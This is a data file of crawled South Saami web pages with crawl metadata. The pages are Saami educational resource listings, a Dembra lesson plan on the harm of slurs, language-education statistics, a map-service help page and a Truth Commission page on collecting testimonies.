+{"text":"Bertije\nVaadtasovvemejaepie\n2020\nFormaate\nApp\nReakta-aajhtere\nReaktah\nGaajhkh reaktah leah doelehtovveme\nStoeredahke\n40 - 45.5MB\nGïelespïele New Amigos tjeajne App:ine gååvnese! Noerhte-, julev- jïh åarjelsaemiengïelesne.\nGïelespïele New Amigos! daelie App:ine gååvnese. Daaroen-saemien spïele mejnie utnijh\/spïelijh edtjieh skraejrieh fihkedh saemien soptsestidh. Spïelen golme daltesh dejtie guhth: easkah aalkeme, jeenjebem lïereme jïh tjiehpine sjïdteme. Oktegh maahta spïeledidh jallh mubpiejgujmie tjåenghkesne. Spïelesne gidtjh lydlab aaj, jïh man baakta maahta mohtedidh jïjtjedh gïelem jïh ietniegïeleh soptsestæjjaj gïelem, jïh govledh mah datne staaran jeahtah.\nUtnijh maehtieh jïjtsh åvtanimmiem vïhtesjidh, jïjtse maahtoem goevledh, eksaamenem tjïrrehtidh jïh govhte sertifikaath åadtjodh. Sertifikaate båata dehtie Europan gïeleööhpehtimmien rammevierhkeste.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/ovttas.no\/sma\/digitala-resursa_new-amigos?overridden_route_name=entity.node.canonical&base_route_name=entity.node.canonical&page_manager_page=node_view&page_manager_page_variant=nodes&page_manager_page_variant_weight=-10","date":"2024-02-24T09:52:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474526.76\/warc\/CC-MAIN-20240224080616-20240224110616-00448.warc.gz","language":"sma","language_score":1.000002265,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.0000022649765015}","num_words":96,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.153,"stopwords_ratio":0.104,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bertije NRK Sámi Radio Vaadtasovvemejaepie 1998 Faage KRJL Religiovne jïh etihke Daltese Maanagïerte 1-4 5-7 8-10 VGS Jollebe ööhpehtimmie Giele Noerhtesaemiengïele Daaroengïele ISBN Vi221 Tïjje 00:25:00 Formaate DVD Reakta-aajhtere NRK Sámi Radio Reaktah Gaajhkh reaktah leah doelehtovveme Demands Norwaco Jaavoe Aamhtesh Histovrije Saemien histovrije Kultuvre Filme Litteratuvre Religiovne Kristelesvoeten bïjre","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/ovttas.no\/sma\/filbma_orre-testamente-orre-hammosne","date":"2024-03-01T10:49:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947475238.84\/warc\/CC-MAIN-20240301093751-20240301123751-00024.warc.gz","language":"sma","language_score":0.9963513017,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9963513016700745}","num_words":45,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.182,"stopwords_ratio":0.089,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ludenso Create lea namhtah, utnijevietseles lïeremedïrrege mij baaja learoehkidie sijjen åssjalommesh visualiseeredh 3D-hammosne jïh sjïere AR-dååjresh juekedh. Laavenjassigujmie mah leah riejries åtnose vaeltedh klaassetjiehtjielisnie jïh hïejmeskuvlesne, maahtah aelhkieslaakan ïedtjem sjugniedidh jïh dov learohkh båetijen aajkan ryöjrehtidh.\nVueptesth skreejrije vuekieh Ludenso Createm nuhtjedh klaassetjiehtjielisnie. Jis sïjhth dov learohkh lïeremedååjresh faalehtidh mah skreejrieh, learohki jarngesne utnieh jïh prosjektine dorjesuvvieh, byörh laavenjassh ohtsedidh mijjen lohkehtæjjaportaalesne. Fïerhte leksjovne, saaht mij teema, sisvege jallh ulmie, maahta dam nuhtjedh. Jis dov naan orre åssjalommesh innovatijve laavenjasside, mannasinie ij dejtie jïjtje darjodh?\nIhke learohkh edtjieh daejnie aelkedh, dellie ajve daarpesjh lïenghkem Ludenso Createse seedtedh dejtie. Jis Chromebook, PC jallh MacBook nuhtjieh, dellie ajve lïenghkem dejtie seedth. Jis learohkh 3D-modellh sijjen tellefovnine jallh nedtepreejrine darjoeh, dellie tjuerieh «Ludenso Create»-appem veedtjh.\nJuktie bijjieguvviem åadtjodh dan bijjelen maam dov learohkh sjugniedieh maahtah virtuelle klaassetjiehtjielassem tseegkedh, jallh dam maam mijjieh dåehkievuesiehtimmie gåhtjobe, mïsse learohkh maehtieh sïjse loggedh. Daate joekoen nuhteligs juktie eensi digkiedimmieh klaassetjiehtjielisnie åadtjodh, jïh baajedh learohkh åssjalommesh juekedh jïh bievnedh.\nJuktie goerkesem lissiehtidh don orre konsepten bïjre, jïh learoehkidie skreejrehtidh digitaale tjiehpiesvoeth evtiedidh, datne ajve daarpesjh Ludenso Create-appem akten AR-kompatibele ektievoetese veedtjedh. Dåehkievuesiehtimmiem jallh aelhkie 3D-modellem AR-hammosne goerehtidh, aelhkieslaakan darjoeh gosse menyjese vaadtsah, modellem rïhpesth jïh AR-båalam deadtah. Jïh voilá, datne leah riejries goerehtidh!","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.ludenso.com\/sami\/sorsamisk\/laerer","date":"2024-02-27T16:58:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474676.79\/warc\/CC-MAIN-20240227153053-20240227183053-00264.warc.gz","language":"sma","language_score":0.9999953508,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999953508377075}","num_words":205,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.136,"stopwords_ratio":0.073,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Våarome lij akte bæjhkoehtimmie Ööhpehtimmiedirektoraateste stillemen mietie Maahtoedepartemeenteste evtiedimmien bïjre lierehtimmiefaalenasseste goh dåarjoe skuvli barkosne antisemittismen, tjïertevidtjien jïh ov-demokraateles vuajnoej vööste. Bæjhkoehtimmie lij illedahke Eidsvåg-moenehtsen reektehtsistie Det kan skje igjen (2011) jïh Bïevn. St. 22 (2010-2011) noeredaltesen bïjre.\nVoestes kuvsjepaahkesne faalenassen maadthåssjaldahkem naemhtie hammode:\nKuvsjepaahken nomme Dembra: demokraateles riejriesvoete tjïertevidtjien jïh antisemittismen vööste. Kuvsjen maadthåssjaldahke lea våajnoes nommesne. Åvtelhaarvoeh jïh ekskludeereden vuajnoeh jieliemassem åadtjoeh ov-jearsoesvoeteste jïh domtesistie «ålkoestamme» årrodh, jïh våaromem vadta narrahtimmide. Dan åvteste skuvlesne demokratiseereden barkoe, feerhmeles ektievoetine, meatannænnoestimmine jïh laejhtehks dijalogine, aaj vierhtieh marginaliseeremem, sïerredimmiem jïh trïegkenassem hööptedh. Skuvlen hööptije barkoe ij leah akte lissiehtasse skuvlen jeatjah barkose, men bielie maadthbarkoste: learoehkidie jirredebiejjien seabradahkese ryöjrehtidh.\nDoh voestes vïjhte skuvlh Dembra'ine eelkin tjaktjen 2013. 2016 raejeste Dembra lea nasjonaale faalenassine sjïdteme, seamma tïjjen goh Det Europeiske Wergelandsenteret veelji ij sov barkoem råajvarimmesne jåerhkedh. Daan biejjien govhte raeffie- jïh almetjereaktajarngh ovmessie bieline laantesne Dembra faalehte: Raftostiftelsen Vestlandesne, ARKIVET freds- og menneskerettighetssenter Sørlandesne, Nansen Fredssenter Innlandesne, Falstadsenteret Gaske-Nöörjesne, HL-senteret Østlandesne jïh Narviksenteret Noerhte-Nöörjesne.\nDaan biejjien raajan 155 skuvlh, jienebh goh 4300 lohkehtæjjajgujmie, bihkedimmiem jïh kuvsjem åådtjeme Dembran tjïrrh (2023). Dembran tjïrrh lohkehtæjjaööhpehtæmman 13 lohkehtæjjaööhpehtimmieinstitusjovnh meatan orreme profesjovnemaahtoem jïh vierhtieh evtiedidh mejtie studeenth, learohkh jïh lohkehtæjjah edtjieh nuhtjedh (2023). Dembra lea vihkeles posisjovnem åådtjeme faagefeeltesne hööpteme åvtelhaarvojste skuvlesne, jïh Dembran nedtesijjie, dembra.no, lea vihkele gaaltije gusnie lohkehtæjjah, lohkehtæjjastudeenth jïh lohkehtæjjaööhpehtæjjah haarjanimmieh jïh faageaamhtesh gaevnieh.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.dembra.no\/sma\/om-dembra","date":"2024-03-01T21:50:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947475701.61\/warc\/CC-MAIN-20240301193300-20240301223300-00628.warc.gz","language":"sma","language_score":0.9999512434,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999512434005737}","num_words":213,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.143,"stopwords_ratio":0.122,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daate tjaalege saemien gïele-lïerehtimmiemmaanagïertesne, maadthlïerehtimmesnejïh jollebe ööhpehtimmesne gïehtjede.Nuepieh saemien lïeredh lea buerebe daan biejjiengoh aarebi, dovne maanagïertesne, skuvlesne jïhjollebe ööhpehtimmesne jïh geervelïerehtimmesne.Maanagïertem åtna goh dïhte ellen vihkielommesgïelesijjie hïejmen mænngan. Dan åvteste lij vaajtelesorreme jienebh saemien maanagïerth utnedh. Seammatïjjen saemiengïeleldh maanagïerth tseegkesovvemejieniebinie sijjine Nöörjesne dej minngemes jaepiej,mearan aarebi lij jeenjemes faalenassh SisnjeldsFinnmarhkesne. Muvhti veajkoej låhkoe maanagïertijstevaanene gosse saemien maanagïerth tjåanghkanbeaja, bielelen dïhte faalenassem nåakebe dorje.Maanagïertesuerkesne onne vueliedimmie orremelåhkosne saemien maanagïertijste minngemesluhkiejaepieboelhken, mearan låhkoe saemiengoevtesijstie nöörjen maanagïertine lea læssanamme.Daelie ånnetji vaenebh maanah mah saemiengïelelïerehtimmiem åådtjeme. Fiejlie maahtaårrodh taalh våaroeminie utnieh doh maanagïerthmah ekonomeles dåarjoem Saemiedigkesteåadtjoeh. Maahta jeatjah maanagïerth årrodh mahsaemien gïelefaalenassem utnieh, men eah leahdåarjoem dïsse ohtsedamme Saemiedigkeste.Maadthskuvlesne jienebh learohkhsaemienlïerehtimmiem åadtjoeh goh gåess'akt aarebi, bielelen doh ellen bööremesjaepieh 2005-06. Jåarhkelïerehtimmesne aajjienebh goh aarebi mah saemien lierieh.Maadthskuvlesne saemien gïelesne ööhpehtejieniebinie sijjine goh gåess ' akt. Tjåanghkan 230skuvlh. Maajhööhpehtimmie lea vihkeles juktiereaktam saemien-lïerehtæmman gorredidh abpelaantesne. Jåarhkelïerehtimmesne aaj akte hijvenevtiedimmie, jalhts annje learohkh orrijieh mahmaadthskuvleste jåarhkeskuvlese jåerhkieh.Jollebe ööhpehtimmesne 2017 lij dïhte ellen bööremesjaepie dovne noerhtesaemien jïh julevsaemien gïelese,mearan låhkoe studeentijste lea daan mænngan tjarkevaananamme. Åarjelsaemien jollebe ööhpehtæmmanjaepien 2013 lij dïhte ellen bööremes jaepie, mearan2022 lij buerebe goh gaajhkh jaepieh mænngan 2015.Jollebe ööhpehtimmesne vaenebh mah saemiengïelestudijh vaeltieh goh dejnie ellen bööremes jaepinegovhte jallh luhkie jaepieh daan åvtelen. Joekoenvihkeles barkoefaamoe dejtie saemien gïelevierhtidenænnoestidh abpe ööhpehtimmieboelhkem. Daanbiejjien barkoefaamoe dïhte stööremes haesteme juktiesaemien gïelem byjjes ööhpehtimmesne eevtjedh.Dåårrehtimmie lea dan åvteste joekoen vihkele juktiejienebh gïeleutnijh sjugniedidh jaepiej åvtese.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/samisketallforteller.no\/sma\/2023\/saemien-giele-byjjes-oohpehtimmesne-evtiedimmieotnjegh-2023","date":"2024-02-25T06:04:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474581.68\/warc\/CC-MAIN-20240225035809-20240225065809-00528.warc.gz","language":"sma","language_score":0.9999930859,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.999993085861206}","num_words":224,"character_repetition_ratio":0.089,"word_repetition_ratio":0.0,"special_characters_ratio":0.119,"stopwords_ratio":0.089,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bertije Guovdageainnu historjasearvi Vaadtasovvemejaepie 2003 Faage Saemien 1 Saemien 2, 3 jïh 4 Siebriedahkefaage Saemien histovrije jïh siebriedahke Daltese 1-4 5-7 8-10 VGS Jollebe ööhpehtimmie Giele Noerhtesaemiengïele Daaroengïele ISBN 8292443029 Formaate Guvviegærja Reakta-aajhtere Guovdageainnu historjasearvi Reaktah Gaajhkh reaktah leah doelehtovveme Aamhtesh Histovrije Saemien histovrije Kultuvre Kåanste Litteratuvre Siebriedahke Skuvle jïh ööhpehtimmie Saemiengïele heevehtslitteratuvre Viehkiebaakoe Dyjre-soptsesh Histovrije Vaajesh","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/ovttas.no\/sma\/node\/9579?overridden_route_name=entity.node.canonical&base_route_name=entity.node.canonical&page_manager_page=node_view&page_manager_page_variant=nodes&page_manager_page_variant_weight=-10","date":"2024-02-24T09:03:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474526.76\/warc\/CC-MAIN-20240224080616-20240224110616-00056.warc.gz","language":"sma","language_score":0.9986155629,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.998615562915802}","num_words":48,"character_repetition_ratio":0.087,"word_repetition_ratio":0.0,"special_characters_ratio":0.159,"stopwords_ratio":0.167,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jaabnan vuarjasjimmie edtja viehkiehtidh lïeremem eevtjedh jïh maahtoem faagesne evtiedidh. Learohkh maahtoem saemiengïelesne voestesgïeline jåa1 – studijeryöjreden ööhpehtimmieprogrammesne vuesiehtieh jïh evtiedieh gosse faageles teemaj jïh ovmessie njaalmeldh jïh tjaaleldh teeksti bijjeli ussjededtieh. Dah aaj maahtoem vuesiehtieh jïh evtiedieh gosse faageles teemah goerehtieh laejhtehks gaaltijeåtnojne, jïh dam njaalmeldh jïh tjaaleldh teekstine åehpiedehtieh, gïeline, struktuvrine jïh ektiedimmine mah sjangerasse jïh aajkose sjiehtieh. Learohkh aaj maahtoem vuesiehtieh jïh evtiedieh gosse daajroeh gïelen bïjre nuhtjieh goh systeeme juktie gïelide goerehtidh jïh viertiestidh, jïh gosse laejhtehkslaakan jïjtsh jïh mubpiej njaalmeldh jïh tjaaleldh teeksti bijjeli ussjededtieh.\nLohkehtæjja edtja sjïehteladtedh guktie learohkh åadtjoeh meatan årrodh tsevtsedh, jïh lïeremelastose jïh kreativiteetese skreejrehtidh jeereldihkie barkoevuekiej tjïrrh gusnie learohkh åadtjoeh vueptiestidh jïh goerehtidh, dovne oktegh jïh mubpiejgujmie ektine. Lohkehtæjja jïh learohkh edtjieh learohki evtiedimmien bïjre saemiengïelesne voestesgïeline soptsestalledh, jïh learohkh edtjieh nuepiem åadtjodh pryövedh. Dan maahtoen mietie maam learohkh vuesiehtieh, edtjieh nuepiem åadtjodh soptsestidh maam tuhtjieh haalvoeh, jïh jïjtsh evtiedimmien bijjelen faagesne ussjedadtedh. Lohkehtæjja edtja bïhkedidh guktie learohke maahta vielie lïeredh jïh lïerehtimmiem sjïehteladtedh guktie learohkh maehtieh bïhkedimmiem nuhtjedh njaalmeldh jïh tjaaleldh tjiehpiesvoeth faagesne guhkiebasse evtiedidh.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.udir.no\/lk20\/sfs01-05\/kompetansemaal-og-vurdering\/kv206?lang=sma","date":"2024-02-29T04:15:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474784.33\/warc\/CC-MAIN-20240229035411-20240229065411-00384.warc.gz","language":"sma","language_score":1.0000091791,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000091791152954}","num_words":175,"character_repetition_ratio":0.083,"word_repetition_ratio":0.0,"special_characters_ratio":0.122,"stopwords_ratio":0.16,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Juekieh learoehkidie dåehkide, jïh vedtieh barkoeaarhkem moerine fïerhten dåahkan. Veedtjh barkoeaarhkem daesnie.\nMåelliebaakoemoere\nBarkoeboelhken bïjre\nUlmie\n- Ussjedadtedh åtnoen bijjelen måelliebaakojste, mah åvtelhaarvoeh maehtieh duekesne årrodh jïh mah konsekvensh åtnoe måelliebaakojste maehtieh utnedh.\nLaavenjasse lea sjïehtedimmie aktede ööhpehtimmiesoejkesjistie veedtjesovveme daestie: Keen, Ellie\/ Georgescu, Mara, Europarådet\/ Det Europeiske Wergelandsenteret (2014). Bookmarks – en håndbok for forebygging av hatprat på nettet gjennom menneskerettserklæringen. Oslo.\n- Tïjje:\n- 45 - 60 min\n- Dåehkien stoeredahke:\n- 10 - 30\nRyöjredimmie\nTjïrrehtimmie\nAalkoe\nTjïelkesth gaajhkh mijjieh baakoeh jïh baakoeåtnoem joekehtslaakan guarkebe jïh maehtebe joekehtslaakan reageeredh dïsse mij jeahtasåvva, mejtie lea jeahtasovveme ryöktesth mijjen vööste, jallh naakede maam govlebe jeatjebh sinsætnan jiehtieh.\nGoh aalkoe haarjanæmman maahta dagke smaave åenehksfilmh Norsk folkehjelpeste vuesiehtidh: vuartesjh vuesiehtimmien gaavhtan YouTube: \"skjellsord – homo\".\nVuesehth «dåeriesmoeremoeren» jïh soptsesth learoehkidie dah edtjieh dåehkine barkedh juktie naakenh dejstie fåantojste jïh åvtehistovrijijstie identifiseeredh man åvteste almetjh måelliebaakoeh nuhtjieh. Dan mænngan edtjieh aaj identifiseeredh illedahkide jïh konsekvenside åtnoen bïjre måelliebaakojste. Maahtah vuesiehtimmiem nuhtjedh daam veelelaakan illustreeredh.\n- «Roehtside»: Daesnie vaestiedassh goerehte gyhtjelassese: Mannasinie daate sjugniehtåvva? Mij lea åtnoen duekesne raaktan daehtie baakoste goh måelliebaakoe?\n- «Åekside»: Daesnie vaestiedassh goerehte gyhtjelassese: Mij maahta sjugniehtovvedh goh illedahke åtnoste måelliebaakoste? Mah illedahkh åtnoe måelliebaakoste maahta gaajhkesidie utnedh mah dam guvlieh, åeniebasse jïh guhkiebasse?\nÅejviebielie\n- 1\nJuekieh learoehkidie dåehkide, jïh vedtieh barkoeaarhkem moerine fïerhten dåahkan.\n- 2\nVelg et skjellsord\nVeeljh måelliebaakoem læstoste vuelielisnie jallh aktem jïjtse vuesiehtimmiem mij lea joekoen sjyöhtehke dov klaassese \/ skuvlese, jïh birrh learoehkidie måelliebaakoem tjaeledh sijjesne moeren «moerelidtjesne». Doh joekehts dåehkieh maehtieh aaj fïereguhten måelliebaakojne barkedh. (Learohkh maehtieh aaj jïjtsh vuesiehtimmieh måelliebaakojde gaavnedh mej bïjre daejrieh.)\nDaah vuesiehtimmieh måelliebaakojde maehtieh haarjanimmesne åtnasovvedh. Vuesiehtimmieh joekehts itjmiesvoetegraadem utnieh, jïh maehtieh dan åvteste viehkiehtidh ussjedadtedh guktie dïhte mij jeahtasåvva baajnehte bielelen voerkes årrodh dan bïjre.\na) Håvra b) Homo c) Bahhas jabjehke d) Bahhas juvdelassje e) Mongo\nf) Bahhas saemie g) Bahhas naaskije h) Muslijmebahha i) Pabpeåejjie\n- 3\nBirrh learoehkidie illedh dan gellie «åeksieh» jïh «roehtsh» mejtie buektiehtieh.\nJis jienebh «roehtsh» jallh «åeksieh» goh sijjieh aarhkesne, maehtieh moerem vijriedidh viehkine jienebh sijjieh guvviedidh. Dah edtjieh ussjedidh måelliebaakoe lea åtnasovveme sosijaale medijinie jallh naakenh dam jeahteme klaassetjiehtjelisnie, eejehtimmesne jallh jeatjah ektiedimmesne. Dah edtjieh ohtsedidh illedahkh mah leah jienebi bïjre goh dïhte gie jïjtje måelliebaakoem jeahta jïh dïhte gien vööste måelliebaakoe jeahtasåvva, goh goltelæjjah, dah mah dam sosijaale medijinie luhkieh jïh vijriesåbpoe.\n- 4\nVedtieh dåehkide medtie 15 min. sijjen moerem illedh.\nUssjedadtemegyhtjelassh\n- 1\nDigkiedidie maam learohkh leah ektesne gaavneme.\nJis learohkh eah leah meatan åådtjeme vihkeles fåantoeh jallh illedahkh, maahta væjsehke årrodh hijven gyhtjelassh gihtjedh guktie dah ånnetji guhkiebasse ussjedieh.\n- 2\nVaeltieh olkese naakenh dejstie roehtsijste jïh soptsestidie ektesne guktie maahta dejtie gïetedidh.\nJis learohkh leah vuesiehtimmien gaavhtan identifiseereme «jiehtebe dam ajve lustine\" goh fåantoe, maahta gihtjedh mejtie seedtije lea ussjedamme mij mïele lij dejnie maam jeehti jallh ij, mejtie gosse naemhtie sjelhkede maahta dåastojem jeatjahlaakan dåastodh, jïh digkiedidh mejtie jeatjah vuekieh gååvnesieh sinsitnine sjelhkiedidh.\n- 3\nLearohkh maehtieh bïjre jarkan vaedtsedh jïh dej mubpiej dåehkiej moerh vuartasjidh.\nDaah naan ïedtjije joekehtsh vueptiestieh moeri gaskem? Goh iktedimmie maahta daam gyhtjelassem digkiedidh:\n- Daate jeatjahlaakan baajnehti goh veanhtadamme? Guktie itjmiesgraadh måelliebaakojste jeerehte? Guktie baajnehte? Soptsestidie eventuelle dåeriesmoeri jallh digkiedimmiej bïjre dåehkiej sisnjeli.\n- Vïenhtede ussjedadteme fåantoej bïjre jallh guktie måelliebaakoeh baajnehtieh, maam akt darjoeh mijjen åtnojne dejstie? Akte dagkeres ussjedadteme maahta viehkine årrodh reageeredh gosse dagkerh lahtesh gåvla, jallh viehkiehtidh dejtie vuastalidh?","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.dembra.no\/sma\/undervisningsopplegg\/maelliebaakoemoere","date":"2024-02-23T03:20:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474360.86\/warc\/CC-MAIN-20240223021632-20240223051632-00428.warc.gz","language":"sma","language_score":0.9999974966,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999974966049194}","num_words":525,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.086,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije\nBertije\nVaadtasovvemejaepie\n2020\nFaage\nGiele\nReakta-aajhtere\nReaktah\nGaajhkh reaktah leah doelehtovveme\nViehkiebaakoe\nGaebpien Gåstan darjome tjihtesh goh tjoejegærja.\n«Gaaltije» lea tjoejegærja Gaebpien Gåstan tjihtesijstie. Jïjtjehke gærja «Gaaltije» bööti jaepien 1987, dillie lij voestes heevehtstjaaleldahke åarjelsaemien. Tjoejegærjam Nanni Westerfjeld jïh Kjell Appfjell lohkeme.\nDah tjihtesh saemien identiteeten jïh dovletjen bïjre jïh magkeres dïhte gieriesvoete dovne vaeride jïh almetjidie.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/ovttas.no\/sma\/digitala-resursa_gaaltije","date":"2024-04-16T01:47:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817036.4\/warc\/CC-MAIN-20240416000407-20240416030407-00268.warc.gz","language":"sma","language_score":0.9999829531,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999829530715942}","num_words":56,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.143,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Datne maahtah aaj ohtseme-funksjovnem \"meny\" båalam nuhtjedh mij lea bijjemes gårrabielesne. Dïedth \"Meny\" jïh dan mænngan \"veeljh tjïeltem\".\nGaavnh aamhtesekaarhtem\nGosse leah dam nieljeraedtiem nuekies geaseme, dle maahtah joekehth aamhtesekaarhth jallh kaarhtelaagh bïejedh. Dïedth båalam \"kaarhtelaagh\" maam gaavnh bijjemes dennie gårrabielesne. Dellie kaarhtelaagem åelkiesbielesne gaavnh. Guktie kaarhtelaagide rïhpestidh, dle tjoerh diedtedh magkerem kaarhtelaagem sïjhth utnedh.\nGåhkoem jallh areaalem kaarhtesne mïetestidh\nDïedth båalam \"Meny\" jïh gaavnh \"Mål kart\". Dellie göökte veeljemh åadtjoeh: gåhkoe jallh areaale. Veeljh jïh aelkesth mïetestidh dam kaarhtem.\nGuvvedh kaarhth\nKaarhten dïrregh guktie maahtah sïevh, polygovne, gievliem, nieljeraedtiem, tsiehkieh jïh teeksth kaarhtese guvviedidh. Dïedth \"Meny\" båaloem jïh dan mænngan « tegn kart». Dellie orre menybåala båata åelkiesbielesne dennie kaarhtesne, gusnie maahtah veeljedh guktie vaajtelh guvviedidh.\nPrintedh\nMenybåalan nuelesne dle maahtah dam guvviem printedh.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/www.royrvik.kommune.no\/tjenester\/aarjel-saemien\/gaetieh-geajnoe-jih-eeke\/kaarhth\/","date":"2024-04-12T10:16:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296815919.75\/warc\/CC-MAIN-20240412101354-20240412131354-00728.warc.gz","language":"sma","language_score":1.0000083447,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.0000083446502686}","num_words":124,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.065,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bertije NRK Sámi Radio Vaadtasovvemejaepie 1995 Faage Eatnemefaage Eatnemelearoe jïh histovrije Båatsoe jïh design Saemien histovrije jïh siebriedahke Daltese 1-4 5-7 8-10 VGS Jollebe ööhpehtimmie Giele Noerhtesaemiengïele Daaroengïele ISBN Vi94 Tïjje 00:34:00 Formaate DVD Reakta-aajhtere NRK Sámi Radio Reaktah Gaajhkh reaktah leah doelehtovveme Demands Norwaco Jaavoe Aamhtesh Aerpiemaahtoe Eatnemenåhtoe Eatnemelearoe Saepmie Histovrije Saemien histovrije Kultuvre Filme Aarhte jïh daajroe Eatnemefaage","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/ovttas.no\/sma\/filbma_dolos-balgaid-alde","date":"2024-04-19T21:03:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817455.17\/warc\/CC-MAIN-20240419203449-20240419233449-00376.warc.gz","language":"sma","language_score":0.9992823005,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9992823004722595}","num_words":55,"character_repetition_ratio":0.095,"word_repetition_ratio":0.0,"special_characters_ratio":0.166,"stopwords_ratio":0.127,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gie maahta sov vaajesem mijjine juekedh?\nKommisjovne saemide böörie dej vaajesidie soptsestidh, dovne goerehtallemen tjirrh jallh maehtieh aaj tjaaleldh dej vaajesem soptsestidh jïjtsh dååjrehtsijstie jallh gïen jeatjebi dååjrehtsh mijjine juekedh dehtie politihkeste mij dïhte reereme saemiej vööste åtneme, jïh guktie daate saemide daan biejjien dijpieh.\nGuktie goerehtallemidie jïh tjaaleldh soptsestimmieh nuhtjesuvvieh?\nGoerehtallemidie baantedibie jïh dejtie printebe. Jis datne goerehtallemen mænngan sïjhth maam akt lissiehtidh, maam akt jorkesovvedh jallh bïevnesh sliejhtedh dle nöörh dam darjodh. Tjoejenassh jïh tjaaleldh bïevnesh kommisjovneste spååresuvvieh.\nGoerehtallemidie maam printebe dle nommide slijhtebe jïh leah tsiemeds.\nTjoejenassh, tjaalegh jïh tjaaleldh vaajesh leah tjeakoes. Gaajhkesh dovnesh mah kommisjovnesne berkieh sjaevehts dïedtem utnieh. Daaletje laaken mietie dle gaajhkh materijaalh Rïjhkevåarhkose (Riksarkivet) spååresåvva gåessie prosjeekte galhka. Gaajhkh materijaalh leah tjeakoes jïh ajve bïevnesh vadtasuvvieh jis edtja dotkemisnie jallh statihkesne nuhtjesovvedh, jallh ibie maehtieh bïevnesistie daejredh gïeh bïevnesidie jeahteme.\nDïhte mij daejstie goerehtallemijstie båata Saetniesvoetekommisjovneste nuhtjesåvva. Saetniesvoetekommisjovne sæjhta daejtie bïevnesidie dej barkosne nuhtjedh.\n- dej gïehtjedimmie- jïh salkehtimmiebarkosne jïh dej evtiedassine, jïh\n- dej maahtoedorjehtimmesne saemiej vaajesen bïjre jïh guktie dah nåake deahpadimmide saemiej vööste saemide daan biejjien dijpieh.\nGuktie darjodh jis sïjhth goerehtallesovvedh?\nKommisjovne tjåanghkose böörie, Saepmesne sveerjen raedtesne jïh muvhth stielline åarjene. Kommisjovne tjåanghkose båata, dej barkoen bïjre bïevnedieh jïh goerehtallemasse böörie. Datne maahtah åvtelhbodti kommisjovnem bieljelidh båatah jïh maahtah goerehtallemem tjåanghkoebiejjesne dangkodh.\nDatne maahtah 